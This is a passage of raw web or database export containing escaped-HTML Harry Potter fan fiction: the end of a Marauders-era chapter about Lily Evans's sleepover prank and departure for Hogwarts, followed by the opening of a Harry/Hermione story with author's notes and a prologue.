hurt anything, even a ladybug, and she was the most innocent person Lily knew. She had soft facial features, like her light blue eyes, fair skin, and long light blonde hair. She was a positive thinker, and always cheered people up when they were sad. Nikki was a weirdo, that\'s what Lily and Jasmine loved about her. She had a short and choppy haircut which looked great on her. Her hair was black, but she liked to do unique things with it, different colored highlights, messy buns, braids, and other cool styles. Her eyes were brown and pretty. She liked chunky shoes and rocker-chic make-up. It was interesting that Lily, Nikki, and Jasmine were such good friends because they were so different. Jasmine was the innocent angel, Nikki was the cool weirdo, and Lily was the daredevil. They had been best friends since first year, and the three of them were the Chasers on the Gryffindor Quidditch Team, a perfect trio.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;I can\'t wait until tomorrow,&quot; Nikki exclaimed.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;I know! Me neither!&quot; Lily agreed.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Oh, don\'t we have a new Potions teacher?&quot; Jasmine asked.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Yeah, Professor Rizza,&quot; Lily replied, &quot;James told me, his dad works at the Ministry of Magic so he found out.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Cool,&quot; Nikki said, &quot;I wonder if Matt Patil is as hot now as he was last year.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;Jasmine and Lily giggled and Lily said, &quot;He was pretty hot.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Yeah, but Sirius is more hot,&quot; Nikki said thoughtfully.<br>\n<br>\n&lt;p&gt;&lt;p&gt;At this point, the three boys, who had been sitting in the tree next to the window listening in on the conversation, almost burst out laughing. They were shaking with silent laughter, and James shushed the others up.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;James is-&quot; Lily started but then suddenly stopped and exclaimed, &quot;wait, what am I saying? None of us can think they\'re hot! We\'re a big happy friend family! Remember that! Big Happy Friend Family!&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Yeah, you\'re right, James is hot,&quot; Nikki said, &quot;but I still think Sirius is hotter-&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;BIG HAPPY FRIEND FAMILY!&quot; Lily exclaimed.<br>\n<br>\n&lt;p&gt;&lt;p&gt;The three boys in the tree at the window burst out laughing.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;What\'s that noise?&quot; Jasmine asked suddenly. The three girls turned around and saw the guys sitting in the tree out the window.<br>\n<br>\n&lt;p&gt;&lt;p&gt;All of them screamed at the same moment, the boys because the sight of three girls in pajamas with fuzzy slippers and purple faces was scary, and the girls, because three guys sitting on a tree branch watching them do facials and talk about which guys were hot was scary. Lily shushed them all up instantly, and opened the screen.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Sh! My parents and Petunia are asleep!&quot; she whispered.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Hey, girls,&quot; James greeted cheerfully. They all started cracking up with laughter again when he said that until Lily shushed them up.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Come on in,&quot; Lily said cheerfully. The boys climbed through the window into Lily\'s room.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;So what\'s up with the purple face stuff?&quot; Sirius asked.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Sh!&quot; Lily said, &quot;I don\'t want my parents hearing guy voices up here. You have to whisper.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Okay,&quot; they all whispered back.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;James is- wait, no, BIG HAPPY FRIEND FAMILY!&quot; James immitated Lily. They were all laughing again.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;It\'s okay if you girls think we\'re hot, we really don\'t mind,&quot; Sirius said, laughing.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;I mean, can\'t we think any of you are hot?&quot; James said reasonably. He looked directly at Lily when he said this, and her stomache fluttered. She snapped out of it, grinned and thought, &lt;i&gt;two can play at this game.&lt;/i&gt;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Sure you can think we\'re hot,&quot; she replied, &quot;Look all you want boys, just remember, no touching,&quot; she teased, waving her pointer finger at them.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;If you ever want us, you\'d better get in line behind all the others guys at Hogwarts,&quot; Nikki added. Jasmine stayed quiet and watched while Nikki and Lily did all the flirting. Flirting wasn\'t her area of expertise.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Don\'t worry, we can sweep you girls off your prissy little slippered feet,&quot; James said.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Prissy little slippered feet?&quot; Lily exclaimed. She kicked off her pink fuzzy slippers, revealing her soft petite feet with red nail polish. &quot;I\'ll give you prissy little slipper feet.&quot; She took a step closer to him and did a jazz fan kick over his head, and he ducked and winced in fear. She rubbed his chest lightly with one finger, and then pushed him with that finger on the shoulder. He stepped back. She was only a few inches shorter than him. &quot;I am not prissy,&quot; she said, &quot;and I will leave you wide eyed and breathless a thousand times before you will ever sweep me off of my feet.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;They all started laughing at this, but everybody knew that Lily and James were only joking, really. Lily stepped back. She recovered from her laughter and said, &quot;Well, this is lots of fun guys, but, you know, you did come up that tree and spy on us, and there\'s a punishment for that.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Really?&quot; Sirius asked sarcastically, &quot;What are you gonna do to us?&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Jasmine, would you like to do the honors?&quot; Lily asked her.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Of course,&quot; Jasmine replied, getting out her wand.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Uh oh,&quot; Remus said.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Petrificus Totalus,&quot; Jasmine said matter-of-factly. The three boys had just widened their eyes in fear when they fell on the floor, paralyzed in a body bind.<br>\n<br>\n&lt;p&gt;&lt;p&gt;Lily grinned, &quot;Let\'s get the make up girls.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;I think pink mascara will look great on Sirius,&quot; Nikki said evilly.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Don\'t worry guys, you\'ll still be alive when we\'re done with you,&quot; Lily said to the three paralyzed boys on the floor in her bedroom. &quot;But, next time, I\'m not so sure.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;This isn\'t really that nice,&quot; Jasmine said uneasily, &quot;I don\'t know about this.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Oh come on Jasmine!&quot; Nikki urged, &quot;live a little!&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Yeah Jasmine!&quot; Lily agreed. &quot;Now where\'s that pink mascara you mentioned before Nikki?&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Right here,&quot; she replied, showing it to Sirius. She carefully put it on his eyelashes, and there was nothing he could do about it. The girls laughed maliciously as they pulled out lipstick, blush, eyeshadow, and. . . a camera.<br>\n<br>\n&lt;p&gt;&lt;p&gt;If the guys had been able to move, they would\'ve been screaming in terror.<br>\n<br>\n&lt;p&gt;&lt;p&gt;<br>\n&lt;p&gt;&lt;p&gt;</p>\n<p>&lt;p&gt;&lt;p&gt;<br>\n&quot;Do you boys want pancakes? They\'ve got chocolate chips inside.&quot; Mrs. Wright asked the three boys as they walked into the kitchen the next morning. She was a friendly mother in her mid forties, with the same curly brown hair and blue eyes as her daughter Susan, and a kind, warming smile. She was standing at the stove flipping pancakes.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Pancakes!&quot; Sirius exclaimed.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Sure,&quot; Remus replied modestly.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Okay,&quot; James said. The three of them sat down at the table, where James\'s dad was already seated.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;So boys, did you sleep well?&quot; Mr. Wright asked. He was a tall, big man with square-cut sharp facial features, but a humorous air. His hair was light brown, and in his forties he still had all of it. They all nodded and murmured that they had, and he joked, &quot;You didn\'t sneak out and go spy on Lily Evans across the street did you?&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;No,&quot; James lied.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;She has two of her friends over, and girls\' slumber parties are scary,&quot; Sirius added. He looked down at his plate, where Mrs. Wright had piled four chocolate chip pancakes. They had to get those pictures from the girls. They could spread them all over the school, and then, well it would be really bad for those three Gryffindor boys.<br>\n<br>\n&lt;p&gt;&lt;p&gt;James\'s mom laughed and said, &quot;I remember at Hogwarts when we used to stay up late in the girls dormitories doing facials and painting our toenails. One time my friend Frieda and her boyfriend were kissing in the dormitory, and we girls decided he shouldn\'t be in our dormitory, so we locked the door on him, then tied him to a chair and put lipstick and blush on him.&quot; She sighed and said, &quot;those were the good old days. Three or four, Remus?&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Um, three\'s good. Thanks,&quot; Remus replied as she piled three pancakes on his plate. Well, at least Lily, Nikki, and Jasmine weren\'t the first girls to put makeup on a guy. Girls shouldn\'t torture guys like that, James decided. But still, Lily\'s fankick over his head was pretty impressive, and her wonderful soft bare feet. He shook his head and stabbed his fork into his pancake.<br>\n<br>\n&lt;p&gt;&lt;p&gt;Susan came down the stairs in tight faded blue jeans and a red spaghetti strapped tank top, flaunting her summer tan. She had fully dressed, brushed her teeth, put on make up, and fixed her curly hair with anti-frizz gel before even coming down the stairs. This was only because there were guys sleeping over at her house. She loved it when James had friends over. She might\'ve been innocent and naive, but she still had her eyes on James\'s friends and wanted their eyes on her.<br>\n<br>\n&lt;p&gt;&lt;p&gt;And she had achieved her goal. Sirius was definitely checking her out. James kicked him under the table and gave him a fierce look. His best friend could not like his little sister that way. Sirius returned his look with a look that said, &quot;It\'s okay big bad brother, she\'s not a little girl.\'<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Hey,&quot; Susan said cooly.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Good morning,&quot; Remus replied brightly.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Good morning baby,&quot; Mrs. Wright said. Susan gave her an angry look. Her mother had just called her baby in front of all those guys. Mrs. Wright shook her head and laughed quietly.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Hey Sue,&quot; Sirius said. She smiled at him.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Good morning little sister,&quot; James said, his words more a warning to Sirius than a greeting to his sister.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Pancakes, yummy,&quot; she said. Then she sat down at the table, at the only seat left, next to Sirius. Suddenly there was a pop noise from the living room.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Nigel, dear, you\'d better come in the living room. Arthur Weasley\'s head\'s in the fire,&quot; Mrs. Wright said.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Must be about work at the Ministry,&quot; Mr. Wright said. He stood up from the table and went into the living room. &quot;Good morning Arthur,&quot; he greeted cheerfully.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Morning, Nigel,&quot; Mr. Weasley replied, &quot;Listen, I know you\'ve got today off, but there\'s been a disaster.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Of what sort?&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;That old crackpot Lewis Sneidelwacker\'s created another lawnmower with magic powers, sold it to a muggle lady, she\'s in the hospital and loads of muggle\'s have seen the dang thing shooting grass in her face and flying up in the air. It knocked her over on the takeoff and she fell down a cement staircase at the front of her lawn, poor girl, but we\'ve got to modify all those muggle\'s memories and I don\'t think we can just let Sneidelwacker off with a warning this time. You\'ve got to come down here to Bristol,&quot; James\'s dad was laughing now, a deep, hearty laugh.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;That\'s priceless, wish I was there,&quot; he said, &quot;all right, I\'ll be there in a minute.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;All right then,&quot; Mr. Weasley replied, and a pop told those sitting at the table that his head was no longer in the fire. Mr. Wright came back into the kitchen.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;That was Arthur Weasley. He\'s in the Department of the Misuse of Muggle Artifacts. He\'s got one kid in Hogwarts, second year, and Gryffindor I think.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Bill Weasley?&quot; Remus asked.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Yeah,&quot; Mr. Wright replied, &quot;and another going to Hogwarts this year, I think his name\'s Charlie.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Oh,&quot; James said.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;We have got to show those pictures to all the girls in Gryffindor,&quot; Nikki said as they got their stuff together for Hogwarts.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;But that would be mean, I mean, they\'d be so embarrassed, and it wouldn\'t be something good friends would do,&quot; Jasmine protested.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Don\'t worry, we\'ll tell everybody we trapped them and they couldn\'t do anything, and they\'ll think it\'s so funny, and they\'ll tell us how brilliant we are,&quot; Nikki assured her.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;We won\'t let them think James and Sirius and Remus are transvestites or anything like that, don\'t worry,&quot; Lily said.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Jasmine, sometimes you\'re too good for your own good,&quot; Nikki said.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Come on girls, lunch is ready!&quot; Mrs. Evans called up the stairs. The girls came running down the staircase into the kitchen. Petunia and Mr. Evans were already seated at the table.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;I can\'t believe you girls are going back to Hogwarts again already,&quot; Mr. Evans said. He was a tall, lanky man with black hair and a big nose. Sitting next to him, his daughter looked just like him. Petunia was boney, with a thin neck and wavy black hair, and the same big nose. She had her hair cut in layers and feathered out all the time, which Lily and her friends always giggled about when she wasn\'t looking. They all agreed that this muggle hairstyle that Petunia said was popular now was ridiculous. It was the early 1980s, and Lily did see that hairstyle in all of Petunia\'s muggle magazines, but no witch or wizard ever wore their hair like that. Lily guessed that only magic people were smart enough to see how ugly it looked. Petunia had a sour look on her face. She despised Lily and any of her \'abnormal\' friends.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;The summer was so short,&quot; Lily\'s mother said as she gave everybody a bowl of tomato soup and put grilled cheese sandwiches on everybody\'s plate. Lily had inherited her silky red hair and great skin from her mother. She had her mother\'s round face and angled chin, and the same tall and thin body, but not lanky like her dad. But her mother had blue eyes; Lily\'s striking green eyes were from her grandmother. Mrs. Evans was tall and fit, and from the way she moved so gracefully anybody could tell that she was a dancer. She owned a dance studio not far from their house, and had been teaching for years.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Are you three still on the quidditch team?&quot; Mrs. Evans asked. She and her husband knew nothing about the wizarding world except what they heard from Lily, but everything Lily told them they found fascinating, especially the exciting concept of playing sports on flying broomsticks. Petunia scowled, how could they talk about such things at the dinner table? Quidditch, flying broomsticks, wands, how stupid.<br>\n<br>\n&lt;p&gt;&lt;p&gt;But Lily was never fooled by her sister\'s attitude towards magic. She was jealous. She had always been jealous of Lily, first jealous that Lily was a better dancer, when dancing was the pride of the family, as Mrs. Evans was a dance teacher and wanted her daughters to be the stars of her studio. But Lily was the star. Lily could always kick higher, dancing had toned Lily\'s body while Petunia was still a twig, Lily was a beautiful, graceful ballerina dancing on point, and Petunia couldn\'t balance on toe shoes. Petunia had never had the natural dancing talent, and Lily was born with it. Next was music. Lily took piano lessons since she was five, and now at every family get together it was \'Lily, play that new song you learned for Uncle Eddie,\' or \'Mom you\'ve got to hear Lily playing Moonlight Sonata it\'s just beautiful.\' And on top of it all, Lily turned out to be a great singer too. She started out at church, singing in the choir, and the choir director realized that she had a beautiful voice, and started teaching her diaphragm breath control, and all that voice lessons stuff. So Petunia had a perfect sister, a beautiful sister who was a great dancer, a great singer, and a great piano player, and a witch! Magic was a rare gift in the family, only Lily, her grandma and her cousin Heather were magic, but of all the family members to be born with great gifts, of course it was Lily. Petunia hated it. It just wasn\'t fair.<br>\n<br>\n&lt;p&gt;&lt;p&gt;The conversation continued about the quidditch team, how this year there were no new positions to fill, but James was the new quidditch captain, and how Slytherin needed to get a few new players but Gryffindor would beat them anyway. They were all into the conversation, and Lily\'s parents were fascinated by quidditch. Petunia scowled, ate quickly and excused herself from the table.<br>\n<br>\n&lt;p&gt;&lt;p&gt;But soon after dinner it was time to leave, and the three girls were getting a ride to King\'s Cross from the Wrights, with Remus and James and Sirius, so they brought their stuff downstairs after lunch and got ready to go.<br>\n<br>\n&lt;p&gt;&lt;p&gt; &quot;I\'m going to miss you,&quot; Mrs. Evans said as she hugged Lily tightly. &quot;Do you have your toe shoes?&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Yes,&quot; Lily replied.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Keep practicing on them. Even though you\'re gone all the time now, I don\'t want you losing your talent.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Okay,&quot; Lily replied. &quot;I love you mom.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;I love you too sweetie,&quot; she replied, &quot;Oh, I wont see you again until Christmas. Be sure to write to us and we\'ll write back.&quot; Lily\'s parents had gotten used to owl post when she was in her first year and they realized that it was the only way they could send letters to their daughter.<br>\n<br>\n&lt;p&gt;&lt;p&gt;Mr. Evans hugged Lily good-bye, and then the three of them were climbing into Mr. Wright\'s car, leaving Forest View Road, never to come back until Christmas. </p>\n\n<p>&lt;p&gt;&lt;p&gt;&lt;p&gt;&lt;p&gt;&lt;i&gt; A/N So how did you like Chapter One? Please review? &lt;/i&gt;</p>\n<p>&lt;/p&gt;</p>\n<p>&lt;/font&gt;</p>\n<p>&lt;/html&gt;</p>\n\n'),
	(132, 1, '\n\n\n\n<p class="MsoBodyText2"><b>A/N: Ahem, my newest story, hope you enjoy it\nbut I don&#8217;t think I&#8217;ll be updating anytime sooner because I have school\nstarting and you all know what that means, homework and more of it. {} denotes\nHarry&#8217;s thoughts. () Hermione&#8217;s thoughts.</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Summary : Ever had someone you cared about but as a friend? or\nnot? When were you torn between love and friendship? As Harry and Hermione join\nin holy matrimony just to avoid other relationships, they find themselves\nin&nbsp; one.&nbsp; </b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Disclaimer : This story is based on characters and situations\ncreated and owned by JK Rowling, various publishers including but not limited\nto Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros.,\nInc. No money is being made and no copyright or trademark infringement is\nintended. </b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Key Words : Sins , horror, forest , mansion. </b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Rating : Pg-13</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>&nbsp;</b></p>\n\n<p class="MsoBodyText"><b>Spoilers : Harry Potter and The Chamber Of\nSecrets , Harry Potter and The Philosophers Stone, Harry Potter and The\nPrisoner Of Azkaban , Harry Potter and the Goblet Of Fire.</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>&nbsp;</b></p>\n\n<p class="MsoBodyText"><b>Pairings : Harry / Hermione , Ron / OC ,\nGinny/ Draco, Harry/ Estella and Hermione/ Christian.</b></p>\n\n<p class="MsoBodyText" style="text-align:center" align="center"><b>Prologue\n</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center"><b>***</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry walked inside his two room apartment, scanning the living room for\nHermione , he peeked in both his room and Hermione&#8217;s but she wasn&#8217;t there.\nSuddenly, out of no where, Hermione walked out tear strickened, with a box of\nKleenex in one hand and a teddy bear in the other. Harry immediately took her\nin his embrace and led her towards the couch. &#8211;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What happened?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;He (sob) &#8230;. wants me to stop&#8230;.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Stop what?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;from seeing you&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What?&#8221; while scrunching his brow. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;He said that there was more between us , something more , it&#8217;s\nlike we&#8217;re in love or something&#8221; sobbing hysterically.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ridiculous&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I know, but I couldn&#8217;t live my life without you, you&#8217;re my best\nfriend, god , how could he even think that?&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I don&#8217;t know&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She once again , pulled Harry into a hug, he rocked her back and\nforth , rubbing her back rigidly while his thumb wiped away Hermione&#8217;e tears. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I dumped him&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry pulled back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Pardon&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I left him&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry, if he cant accept that you&#8217;re my best friend and I love\nyou , I cant accept him&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But Hermione &#8230;&#8230;. his perfect for you&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But I care for you more&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nA heart felt smile came along his perfect shaped lips, he found himself in\nanother nestle with Hermione , with her head on his chest and his hand\ncaressing her curls. He pulled her closer to him, wanting to feel more of her\nwarmth, &#8220; I love you&#8221; he whispered, but heavy breathing from her deep slumber\nindicated that she didn&#8217;t even hear a word he said. So, they fell asleep in\neach other&#8217;s sweet embrace, enjoying just being there for each other. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">***</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHe felt like the devil wanted to stick a pitch fork inside his brain, a psychopath\nsticking forks on his head or it could just&nbsp; Hedwig trying to wake him up.\nThe throbbing stopped, Harry&#8217;s eyes shot open and he felt something bump on his\nshoulder. He looked down and saw Hedwig on the floor with a letter attached to\nhis leg, Harry laughed &#8211;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You ok there buddy?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hedwig hooted petered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Let&#8217;s see what you got there&#8221; while opening a dark red envelope.\nSuddenly ,&nbsp; it screamed :-</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;WHERE WERE YOU LAST NIGHT? I WAS WORRIED SICK! HONESTLY, HARRY\nPOTTER, IF I DIDN&#8217;T KNOW BETTER I&#8217;D THINK YOU WERE WITH THAT SLUT, HER&#8230;&#8230;.&#8221; he\nclosed the letter, not wanting to hear more.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&#8220;Harry&#8221; Hermione breathed, he looked at her and silenced her\nwith a finger on her lips.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t you worry your pretty little head off , I&#8217;ll tell her the\ntruth and everything will be fine&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I hope, I cant bare for you to lose another lover because of me&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Those girls were mad , they kept accusing me of loving you&#8221;</p>\n\n<p class="MsoNormal" 